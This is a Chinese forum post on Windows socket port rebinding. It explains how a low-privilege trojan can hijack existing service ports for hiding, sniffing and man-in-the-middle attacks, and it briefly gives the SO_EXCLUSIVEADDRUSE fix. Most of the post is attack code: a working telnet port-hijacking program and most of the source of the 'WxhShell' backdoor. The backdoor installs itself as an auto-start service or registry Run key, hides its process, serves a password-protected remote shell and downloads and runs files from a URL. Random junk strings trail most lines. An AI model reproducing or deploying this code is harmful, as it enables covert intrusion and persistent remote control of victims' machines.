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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;S>ml   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N'5!4JUI  
WAw} ?&k  
  saddr.sin_family = AF_INET; bO{wQ1)Z_  
mK7egAo  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0w l31k{  
v/Ei0}e6~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !U+XIr  
{,m W7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 l3/?,xn  
9s6d+HhM  
  这意味着什么?意味着可以进行如下的攻击: c/}bx52>u  
*}i.,4+y   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  F_%&,"$  
XAr YmO  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r`'n3#O*  
2:S 4M.j  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;-sF%c  
Hb *&&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &@D,|kHk  
"^iw {]~U  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bxg9T(Bj  
{Uu|NA87Cd  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3>sA_  
hI 1 }^;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |4FvP R [  
*FUbKr0  
  #include [<{+tAdn)  
  #include Ik|nL#JH]  
  #include E>SLR8!C v  
  #include    PM%Gsy]q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *9Nq^+  
  int main() Yf(QU`w_  
  { Go_~8w0<  
  WORD wVersionRequested; )Wm:Ilq  
  DWORD ret; DbkKmv&  
  WSADATA wsaData; %,*{hhfu  
  BOOL val; /e}NZo{)g  
  SOCKADDR_IN saddr; p[%FH?  
  SOCKADDR_IN scaddr; [& &9F};  
  int err; P\CT|K'P  
  SOCKET s; R oWGQney  
  SOCKET sc; pTJJ.#$CEF  
  int caddsize; h{cJ S9e}  
  HANDLE mt; toCT5E_0=  
  DWORD tid;   RI_3X5.KQ  
  wVersionRequested = MAKEWORD( 2, 2 ); WY%'ps _]<  
  err = WSAStartup( wVersionRequested, &wsaData ); !N1DJd  
  if ( err != 0 ) { p9)'nU'\t  
  printf("error!WSAStartup failed!\n"); +K%4jIm  
  return -1; e[7n`ka '  
  } %<8lLRl  
  saddr.sin_family = AF_INET; 8FThu[  
   v5GV"qY  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9IC|2w66  
v9OK <  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); h>+,ba"D  
  saddr.sin_port = htons(23); 5l"v:Px  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /u 8m|S<  
  { 50.cMms  
  printf("error!socket failed!\n"); y++[:M  
  return -1; auTApYS53  
  } \Z^YaKj&  
  val = TRUE; Q_F8u!qrZ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Q=%1@ ,x"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~sSlfQWMzy  
  { 0ZXG{Gp9S  
  printf("error!setsockopt failed!\n"); AVA hS}*t  
  return -1; j9YI6X"  
  } gG^K\+S  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -Ug  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =:zmF]j9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 vo[Zuv?<h  
^MGgFS]G  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qqSf17sW  
  { ~% QVjzMC  
  ret=GetLastError(); RAQi&?Ko  
  printf("error!bind failed!\n"); COa"zg  
  return -1; _kb $S  
  } A-&C.g  
  listen(s,2); io$!z=W  
  while(1) r-+.Ax4L"  
  { z17x%jXy  
  caddsize = sizeof(scaddr); ^[SQw)*  
  //接受连接请求 N4Z%8:"pj  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); spV/+jy{  
  if(sc!=INVALID_SOCKET) .R` {.~_{!  
  { #AzZ4<;7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 61q:nWs  
  if(mt==NULL) Q0I22?  
  { V&E)4KBOs  
  printf("Thread Creat Failed!\n"); CCOd4  
  break; 7Xi)[M?)#  
  } 5uu Zt0V\  
  } D}wM$B@S  
  CloseHandle(mt); Lc!% 3,#.  
  } |>(;gr/5(  
  closesocket(s); jX79Nm|  
  WSACleanup();  `k/hC  
  return 0; YT6<1-E#  
  }   %SL'X`j  
  DWORD WINAPI ClientThread(LPVOID lpParam) cbD&tsF  
  { N*N@wJy:5  
  SOCKET ss = (SOCKET)lpParam; @JS O=8  
  SOCKET sc; W~J@v@..4  
  unsigned char buf[4096]; ON|Bpt2Qp  
  SOCKADDR_IN saddr; : uglv6  
  long num; Rdd[b?  
  DWORD val; y-gSal  
  DWORD ret; :yo tpa  
  //如果是隐藏端口应用的话,可以在此处加一些判断 V^WR(Q}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   TpLlbsd  
  saddr.sin_family = AF_INET; -9)<[>:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); F'DO46  
  saddr.sin_port = htons(23); X|)Ox ,(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  g-MaP  
  { hmv"|1Sa!~  
  printf("error!socket failed!\n"); Iq`:h&'!L  
  return -1; f\FubL  
  } 9pD=E>4?#  
  val = 100; uI^E9r/hB  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;H5PiSq;z  
  { qh!2dj  
  ret = GetLastError(); Np=IZ npt  
  return -1; mdW8RsR  
  } V8w!yc  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c8I : jDk:  
  { Nh7+Vl  
  ret = GetLastError(); A\9Q gM  
  return -1; R87-L*9B^0  
  } xwr<ib:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) i>w'$ {  
  { #;?j]npg]  
  printf("error!socket connect failed!\n"); YoV^Y&:9<  
  closesocket(sc); y~CK&[H  
  closesocket(ss); AOhfQ:E 4  
  return -1; $IzhaX  
  } \*Ro a&<!  
  while(1) ^| L@f  
  { GE]cH6E  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 fX=o,=-f  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ZtPq */'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 yES+0D5<  
  num = recv(ss,buf,4096,0); z;GR(;w/  
  if(num>0) c`94a SnV  
  send(sc,buf,num,0); D3s]49j)  
  else if(num==0) pZ?7'+u$L  
  break; ~wmc5L/!?  
  num = recv(sc,buf,4096,0); x}t,v.:  
  if(num>0) #'N"<o[  
  send(ss,buf,num,0); RHc63b\  
  else if(num==0) w,fA-*bZ 0  
  break; 5|>FM&  
  } pJ Iq`)p5  
  closesocket(ss); M8 oCh  
  closesocket(sc); ^sR]w]cz.  
  return 0 ; Nf(Np1?;c  
  } !iBe/yb  
Sq"O<FmI  
*5'U3py  
========================================================== cs[_5r&:  
,2\?kPoc8  
下边附上一个代码,,WXhSHELL Te=[tx~x  
e|)6zh<O:  
========================================================== >CtT_yhx  
:=qblc  
#include "stdafx.h" R#OVJ(#  
?-mDvW  
#include <stdio.h> Enu/Nj 2  
#include <string.h> #p@8m_g  
#include <windows.h> $\BRX\6(-  
#include <winsock2.h> dHp(U :)  
#include <winsvc.h> o";5@NH  
#include <urlmon.h> UruD&=AMK  
es}j6A1  
#pragma comment (lib, "Ws2_32.lib") EHk(\1!V  
#pragma comment (lib, "urlmon.lib") cNX,%  
#w\Bc\  
#define MAX_USER   100 // 最大客户端连接数 j{00iA}  
#define BUF_SOCK   200 // sock buffer !;'#f xW[  
#define KEY_BUFF   255 // 输入 buffer >*#clf;@p  
WqX#T  
#define REBOOT     0   // 重启 zs! }P  
#define SHUTDOWN   1   // 关机 Id`?yt  
|_q:0qo  
#define DEF_PORT   5000 // 监听端口 8YNii-pl  
~^#F5w"  
#define REG_LEN     16   // 注册表键长度 #jdo54-  
#define SVC_LEN     80   // NT服务名长度 6(1xU\x  
thWQU"z4  
// 从dll定义API Hgs=qH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z8W@N8IqC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KUs\7Sb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3KFw0(S/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); QJ{to%  
x8H%88!j*  
// wxhshell配置信息 3QlV,)}  
struct WSCFG { 7O6VnKl  
  int ws_port;         // 监听端口 Z|&Y1k-h  
  char ws_passstr[REG_LEN]; // 口令 t[Dg)adc  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,VK! 3$;|  
  char ws_regname[REG_LEN]; // 注册表键名 Ul@ Jg    
  char ws_svcname[REG_LEN]; // 服务名 TG ,T>'   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d4@\5<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E[N5vG<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B^'Uh+Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x|B$n } B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TNY d_:j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hZ_0lX}  
^zjQ(ca@"x  
}; 0@;kD]Z  
Z Z1s}TG  
// default Wxhshell configuration -&87nR(eW  
struct WSCFG wscfg={DEF_PORT, *Jd,8B/hC  
    "xuhuanlingzhe", HD"Pz}k4  
    1, -~z]ut<Z  
    "Wxhshell", CS[[TzC=5  
    "Wxhshell", P $4h_dw  
            "WxhShell Service", vwZd@%BO  
    "Wrsky Windows CmdShell Service", S,&tKDJn  
    "Please Input Your Password: ", GtZkzVqLd  
  1, =*f>vrme  
  "http://www.wrsky.com/wxhshell.exe", WH Zz?|^  
  "Wxhshell.exe" 0fc]RkHs"  
    }; A)I4 `3E  
n7UZ&ab  
// 消息定义模块 2I!STP{!l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `? ayc/TK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8ut:cCrmg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b?&=gm%oU  
char *msg_ws_ext="\n\rExit."; zPwU'TbF  
char *msg_ws_end="\n\rQuit."; ['F,  
char *msg_ws_boot="\n\rReboot..."; G/tah@N[7  
char *msg_ws_poff="\n\rShutdown..."; rSTc4m1R  
char *msg_ws_down="\n\rSave to "; 3wRk -sl  
7ky$9+~  
char *msg_ws_err="\n\rErr!"; d~[^D<5,D  
char *msg_ws_ok="\n\rOK!"; *ml&}9  
J7. }2  
char ExeFile[MAX_PATH]; *h ~Y=#`8*  
int nUser = 0; VKa-  
HANDLE handles[MAX_USER]; ,,+ ~./)  
int OsIsNt; .\*3t/R=X  
)IIQ{SwQq  
SERVICE_STATUS       serviceStatus; '8g/^Y@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k:(i sKIA  
&&C]i~  
// 函数声明 }NQx2k0  
int Install(void); l@}BWSx&ms  
int Uninstall(void); !6:q#B*  
int DownloadFile(char *sURL, SOCKET wsh); F">>,Oc)U"  
int Boot(int flag); u*R9x3&/5  
void HideProc(void); pa0'\  
int GetOsVer(void); F+e J9  
int Wxhshell(SOCKET wsl); o!Vs{RRu}  
void TalkWithClient(void *cs); yK"OZ2Mv  
int CmdShell(SOCKET sock); >-0b@ +j  
int StartFromService(void); I+ipTeB^  
int StartWxhshell(LPSTR lpCmdLine); QiU!;!s  
o6e6Jw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q>gU(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B"O5P>  
FrSeR9b  
// 数据结构和表定义 a$p2I+lX  
SERVICE_TABLE_ENTRY DispatchTable[] = /f!_dJ^  
{ #k%3Ag  
{wscfg.ws_svcname, NTServiceMain}, h3^ &,U  
{NULL, NULL} :j/PtNT@  
}; C7=Q!UK`\  
jjgY4<n  
// 自我安装 $q}}w||e~0  
int Install(void) ? C2 bA5 M  
{ *b" (r|Ko  
  char svExeFile[MAX_PATH]; |=.z0{A7H  
  HKEY key; <DS+"#  
  strcpy(svExeFile,ExeFile); ^iJMUV|  
qlUYu"`i  
// 如果是win9x系统,修改注册表设为自启动 5 Vm |/  
if(!OsIsNt) { ?i4}[q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 06bl$%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +4emkDTdR  
  RegCloseKey(key);  U4#[>*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mY9u/; dK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t`{^gt  
  RegCloseKey(key); sV7dgvVd  
  return 0; lj"L Q(^  
    } P=& Je?  
  } *VT@  
} }I7/FqrD  
else { LX.1]T*m`  
@]f"X>  
// 如果是NT以上系统,安装为系统服务 n<:/ X tE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ypXKw7f(  
if (schSCManager!=0) R<mLG $  
{ iL1.R+  
  SC_HANDLE schService = CreateService N$ZThZqqv  
  ( RIX0AE  
  schSCManager, lh* m(  
  wscfg.ws_svcname, o}5:vi]  
  wscfg.ws_svcdisp, {xt<`_R  
  SERVICE_ALL_ACCESS, 1W;3pN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B$7m@|p!  
  SERVICE_AUTO_START, my")/e  
  SERVICE_ERROR_NORMAL, ua:.97~Ym  
  svExeFile, 7|6tH@4Ub  
  NULL, UQ>GAzh  
  NULL, @.kv",[{[  
  NULL, :5?ti  
  NULL, !mL,Ue3/  
  NULL G;Y,C<)0k  
  ); L&ws[8-  
  if (schService!=0) i`r,B`V`08  
  { ZP?k|sEH  
  CloseServiceHandle(schService); nvD"_.KrJ  
  CloseServiceHandle(schSCManager); lf|e8kU\f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,?B.+4CW\E  
  strcat(svExeFile,wscfg.ws_svcname); nx=#QLi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "<6pp4*I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [RD ^@~x  
  RegCloseKey(key); !gy'_Y  
  return 0; aEdF Z  
    } <-Q0WP_^  
  } z/fRd6|[  
  CloseServiceHandle(schSCManager); @.*[CC;&  
} ~<, \=;b/  
} vFb{(gIJ  
[CPZj*|b  
return 1; }p t5.'l  
} _DC/`_'  
g)$Pvfc  
// 自我卸载 |[K7oa~#  
int Uninstall(void) K@n.$g  
{ NOx&`OU+  
  HKEY key; /BT;Q)( &  
g8XGZW!  
if(!OsIsNt) { C4Z~9fzT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T<54qe4`p  
  RegDeleteValue(key,wscfg.ws_regname); a\}|ikiE  
  RegCloseKey(key); e%bER ds  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (%#d._j>fZ  
  RegDeleteValue(key,wscfg.ws_regname); o9wg<LP  
  RegCloseKey(key); @+1E|4L1vf  
  return 0; .ET;wK  
  } d@At-Z~M  
} Pms3X  
} xOT'4v&.  
else { K- }k-S  
FZ=6x}QZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,zXL8T  
if (schSCManager!=0) #]lUJ &M}e  
{ Qb|w\xT^Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k|A!5A2  
  if (schService!=0) sxThz7#i)  
  { XOqpys  
  if(DeleteService(schService)!=0) { CHeG{l)<r  
  CloseServiceHandle(schService); }0 <x4|=  
  CloseServiceHandle(schSCManager); lR.a3.~  
  return 0; "fpj"lf-  
  } ]nX.zE|F  
  CloseServiceHandle(schService); >.{ ..~"K  
  } (X!/tw,.  
  CloseServiceHandle(schSCManager); p~8~EQFj  
} X3W)c&Pr  
} @1]<LQ\\  
J+IW  
return 1; tMAa$XrZj  
} ^<E+7  
l42m81x"  
// 从指定url下载文件 yFpHRfF}  
int DownloadFile(char *sURL, SOCKET wsh) w|L~+   
{ !'{j"tv  
  HRESULT hr; rB4#}+Uq  
char seps[]= "/"; .qK=lHxT  
char *token; ?>%u[g   
char *file; keJec`q=X  
char myURL[MAX_PATH]; s`#hk^{  
char myFILE[MAX_PATH]; :/~vaCZ  
*0c }`|  
strcpy(myURL,sURL); 21o_9=[^  
  token=strtok(myURL,seps); E*w 2yWR  
  while(token!=NULL) /t>o -  
  { EPa3Yb?BGb  
    file=token; Y43#];  
  token=strtok(NULL,seps); B8_l+dXO  
  } mr('zpkRq  
_O!D*=I  
GetCurrentDirectory(MAX_PATH,myFILE); VBH[aIW  
strcat(myFILE, "\\"); $AXz/fGV  
strcat(myFILE, file); PzV(e)~7  
  send(wsh,myFILE,strlen(myFILE),0); g rfF\_[:  
send(wsh,"...",3,0); P);Xke  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `S~u4+y]  
  if(hr==S_OK) JxLH]1b  
return 0; <khx%<)P  
else 6sZRR{'  
return 1; ttsB'|p s  
`+f\Q2]Z  
} _yoG<qI  
BphF+'CM  
// 系统电源模块 I"!gzI`Sd  
int Boot(int flag) GDcV1$NA  
{ )_Oc=/c|f  
  HANDLE hToken; z5vryhX_Z  
  TOKEN_PRIVILEGES tkp; EmUxM_ T/2  
7q^/.:wlf  
  if(OsIsNt) { Z~c7r n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8@A[ `5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :9`1bZ?a  
    tkp.PrivilegeCount = 1; IWWFl6$-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kdHql>0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZGbZu  
if(flag==REBOOT) { <+$S{Z.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vJCL m/}*  
  return 0; L_.}z)S[\  
} p!a%*LfND  
else { |M?HdxPa  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @\h(s#sn  
  return 0; Ue8D:C M  
} X3-1)|g !z  
  } M[{Cy[ta  
  else { Q&#:M>!|  
if(flag==REBOOT) { sy`s$E d!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lC4By,1*  
  return 0; :$tW9*\KY  
} >ahj|pm  
else { h|H;ZC(B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d J!o/y6  
  return 0; UQR"wUiiV  
} U .Od  
} =z/F=1^<  
etoE$2c  
return 1; 0?7uqS#L  
} ?c2TT Q  
G8s`<:9*  
// win9x进程隐藏模块 %:,=J  
void HideProc(void) (FaT{W{  
{ N93E;B  
J:u|8>;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ) G{v>Z ,  
  if ( hKernel != NULL ) )1vojp 4Za  
  { o W[,EW+u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &rl>{Uvq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $Y`aS^IW  
    FreeLibrary(hKernel); U. aa iX7  
  } -!0LIr:"  
vxeT[/6i  
return; `Ek!;u>  
} )ziQ=k6d6  
nB5[]x'  
// 获取操作系统版本 *lK4yI*%o  
int GetOsVer(void) fh_ .J[Y.k  
{ kOCxIJ!Xp=  
  OSVERSIONINFO winfo; /pU6trIM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nIjQLx  
  GetVersionEx(&winfo); RFJ;hh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a~* V  
  return 1; hwzUCh 5!  
  else g#4gGhI  
  return 0; +V@=G &Ou0  
} ~Z]vr6?$h  
VTWE-:r  
// 客户端句柄模块 `0i3"06lr  
int Wxhshell(SOCKET wsl) )DmiN^:  
{ B@]7eVo  
  SOCKET wsh; `I8^QcP  
  struct sockaddr_in client; 5E!m! nBZ  
  DWORD myID; S=}~I  
\.c )^QQ  
  while(nUser<MAX_USER) x+cF1 N2.  
{ H/k W :k  
  int nSize=sizeof(client); n@;x!c< +  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $3'+V_CZ3  
  if(wsh==INVALID_SOCKET) return 1; L"iyjL<M  
LJwMM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M0SH-0T;Z  
if(handles[nUser]==0) pV6HQ:y1  
  closesocket(wsh); 4w( vRe  
else IxZ.2 67  
  nUser++; n\-_i2yy  
  } o# xg:m_py  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  |{)xC=  
#( sNk,^Ax  
  return 0; CS\tCw\Y  
} <j\;>3Q  
A_Iu*pz^^  
// 关闭 socket LU,"i^T  
void CloseIt(SOCKET wsh) \Byk`} 9  
{ pPqN[OJ  
closesocket(wsh); "O[76}I+.q  
nUser--; I#X2 UQzP  
ExitThread(0); R.H\b!  
} IZ0$=aB7  
En9]x"_  
// 客户端请求句柄 \TB%N1^  
void TalkWithClient(void *cs) I'9s=~VfY,  
{ +M##mRD  
[4Faq3T"  
  SOCKET wsh=(SOCKET)cs; ^D;D8A.  
  char pwd[SVC_LEN];  6b]d|  
  char cmd[KEY_BUFF]; h ^h-pd  
char chr[1]; GR ?u?-  
int i,j; U|7Qw|I7  
|3:=qpT-  
  while (nUser < MAX_USER) { >&vO4L  
/=m9s  
if(wscfg.ws_passstr) { mBZ Dl4 '  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "QO/Jls  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O*03PF^  
  //ZeroMemory(pwd,KEY_BUFF); ]cqZ!4?_  
      i=0; pLQSG}N  
  while(i<SVC_LEN) { kbYg4t]FH  
@B'8SLoP  
  // 设置超时 bsi q9$F  
  fd_set FdRead; @'r`(o3z!Z  
  struct timeval TimeOut; Ui |a}`c  
  FD_ZERO(&FdRead); zt)PZff/YQ  
  FD_SET(wsh,&FdRead); 3y=<w|4F  
  TimeOut.tv_sec=8; y8hg8J|  
  TimeOut.tv_usec=0; xbrmPGpW$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {vT55i<mk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ab aQJ|  
DV[ Jbl:)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N9=r#![>,  
  pwd=chr[0]; cF&h$4-  
  if(chr[0]==0xd || chr[0]==0xa) { kE_@5t7O{  
  pwd=0; mU+FQX  
  break; !+A"Lej  
  } 9U<)_E<y  
  i++; 5Vqmv<F;$Z  
    } ;Co[y=Z  
\ ~LU 'j  
  // 如果是非法用户,关闭 socket +:"6`um|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]PzTl {]  
} 9<A\npD  
L_~I ~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); < k+fKl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T]nR=uK6LL  
)qyx|D  
while(1) { *)NR$9lGv  
!HR2Rfl  
  ZeroMemory(cmd,KEY_BUFF); Q Bfhyo_  
gl9pgY1ni  
      // 自动支持客户端 telnet标准   GIC"-l1\  
  j=0; }+dM1O  
  while(j<KEY_BUFF) { V8nz-DL{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T`g?)/  
  cmd[j]=chr[0]; lpfwlB'~9  
  if(chr[0]==0xa || chr[0]==0xd) { 3%[)!zKv  
  cmd[j]=0; Q+N7:o!;<b  
  break; yul<n>X|  
  } Krp <bK6  
  j++; o0aO0Y  
    } &N/|(<CB  
qD(fYOX{C  
  // 下载文件 ez^*M:K  
  if(strstr(cmd,"http://")) { B_."?*|w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BP[CR1Gs  
  if(DownloadFile(cmd,wsh)) +Mk*{ A t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sd]54&3A  
  else 3 ^02fy  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FI?gT  
  } %Ye)8+-  
  else { b:FEp'ZS  
ot@|blVC8  
    switch(cmd[0]) { 9<t9a f\.>  
  J|gdO+  
  // 帮助 Ei{(  
  case '?': { tA! M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 79{.O`v  
    break; MPKpS3VS  
  } ~j/bCMEf!  
  // 安装 1N!Oslum  
  case 'i': { 4;BW  
    if(Install()) @4 /~~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }[>RxHd  
    else 1P[I}GW#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2 ?Pt Z  
    break; Q$xa  
    } Em~7D ]Y  
  // 卸载 V17>j0Ev$W  
  case 'r': { 9tzoris[~  
    if(Uninstall()) }b_R5U$@@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lfxuc7Rdla  
    else Bmx(qE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -Q<z1vz  
    break; hFsA_x+L;  
    } :`+|'*b(A  
  // 显示 wxhshell 所在路径 J 6(~>g  
  case 'p': { F^.om2V|9  
    char svExeFile[MAX_PATH]; t{/:(Nu  
    strcpy(svExeFile,"\n\r"); p!HPp Ef+#  
      strcat(svExeFile,ExeFile); "XGD:>Q.  
        send(wsh,svExeFile,strlen(svExeFile),0); vnz[w=U  
    break; TqS2!/jp  
    } m0=cMVCA!  
  // 重启 rQ`\JE&`  
  case 'b': { DNm(:%)0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u iBl#J Q  
    if(Boot(REBOOT)) |7svA<<[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9U#\nXM  
    else { Z{Vxr*9oO  
    closesocket(wsh);  FovE$Dj]  
    ExitThread(0); 8O~0RYk  
    } %==G+S{  
    break; 69t7=r  
    } ?r{TOj n  
  // 关机 Sp 7u_Pq{  
